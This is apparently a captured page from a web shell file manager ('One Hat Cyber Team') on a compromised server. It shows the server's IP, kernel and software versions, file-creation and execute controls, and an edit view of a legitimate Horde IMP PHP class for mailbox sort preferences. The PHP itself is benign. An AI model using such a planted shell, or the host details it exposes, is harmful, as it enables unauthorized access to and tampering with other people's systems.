⚝
One Hat Cyber Team
⚝
Your IP:
216.73.217.4
Server IP:
41.128.143.86
Server:
Linux host.raqmix.cloud 6.8.0-1025-azure #30~22.04.1-Ubuntu SMP Wed Mar 12 15:28:20 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.3.23
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
psa-horde
/
imp
/
lib
/
Prefs
/
Sort
/
Edit File: Sortpref.php
<?php /** * Copyright 2012-2017 Horde LLC (http://www.horde.org/) * * See the enclosed file COPYING for license information (GPL). If you * did not receive this file, see http://www.horde.org/licenses/gpl. * * @category Horde * @copyright 2012-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP */ /** * This class provides the object representation for the sort preference for * a mailbox. * * @author Michael Slusarz <slusarz@horde.org> * @category Horde * @copyright 2012-2017 Horde LLC * @license http://www.horde.org/licenses/gpl GPL * @package IMP * * @property IMP_Mailbox $mbox Mailbox for these preferences. * @property integer $sortby The sortby value. * @property boolean $sortby_default Is the sortby value the default? * @property boolean $sortby_locked Is the sortby value locked? * @property integer $sortdir The sortdir value. * @property boolean $sortdir_default Is the sortdir value the default? * @property boolean $sortdir_locked Is the sortdir value locked? */ class IMP_Prefs_Sort_Sortpref { /** * Mailbox object. * * @var IMP_Mailbox */ protected $_mbox; /** * The sortby value. * * @var array */ protected $_sortby; /** * The sortdir value. * * @var array */ protected $_sortdir; /** * Constructor. * * @param string $mbox Mailbox. * @param integer $sortby Sortby value. * @param integer $sortdir Sortdir value. */ public function __construct($mbox, $sortby = null, $sortdir = null) { $this->_mbox = IMP_Mailbox::get($mbox); $this->_sortby = $sortby; $this->_sortdir = $sortdir; } /** */ public function __get($name) { global $prefs; switch ($name) { case 'mbox': return $this->_mbox; case 'sortby': if (is_null($this->_sortby)) { return ($by = $prefs->getValue('sortby')) ? $by /* Sanity check: make sure we have a sort value. */ : Horde_Imap_Client::SORT_SEQUENCE; } return $this->_sortby; case 'sortby_default': return is_null($this->_sortby); case 'sortby_locked': return $this->_mbox->search /* For now, only allow sorting in search mailboxes guaranteed * to consist of a single mailbox. */ ? !$this->_mbox->systemquery : $prefs->isLocked(IMP_Prefs_Sort::SORTPREF); case 'sortdir': return is_null($this->_sortdir) ? $prefs->getValue('sortdir') : $this->_sortdir; case 'sortdir_default': return is_null($this->_sortdir); case 'sortdir_locked': return $this->_mbox->search /* Search results can always/easily be reversed. */ ? false : $prefs->isLocked(IMP_Prefs_Sort::SORTPREF); } } /** */ public function __set($name, $value) { switch ($name) { case 'sortby': $this->_sortby = $value; break; case 'sortdir': $this->_sortdir = $value; break; } } /** * Converts sortby value given current mailbox attributes. */ public function convertSortby() { if ($this->_mbox->access_sort) { switch ($this->sortby) { case Horde_Imap_Client::SORT_THREAD: if (!$this->_mbox->access_sortthread) { $this->_sortby = Horde_Imap_Client::SORT_SUBJECT; } break; case Horde_Imap_Client::SORT_FROM: /* If the preference is to sort by From Address, when we are * in the Drafts or Sent mailboxes, sort by To Address. */ if ($this->_mbox->special_outgoing) { $this->_sortby = Horde_Imap_Client::SORT_TO; } break; case Horde_Imap_Client::SORT_TO: if (!$this->_mbox->special_outgoing) { $this->_sortby = Horde_Imap_Client::SORT_FROM; } break; } } else { $this->_sortby = Horde_Imap_Client::SORT_SEQUENCE; } } /** * Returns the array representation of this object. */ public function toArray() { $ret = array(); if (!is_null($this->_sortby)) { $ret['b'] = $this->_sortby; } if (!is_null($this->_sortdir)) { $ret['d'] = $this->_sortdir; } return empty($ret) ? null : $ret; } }
Simpan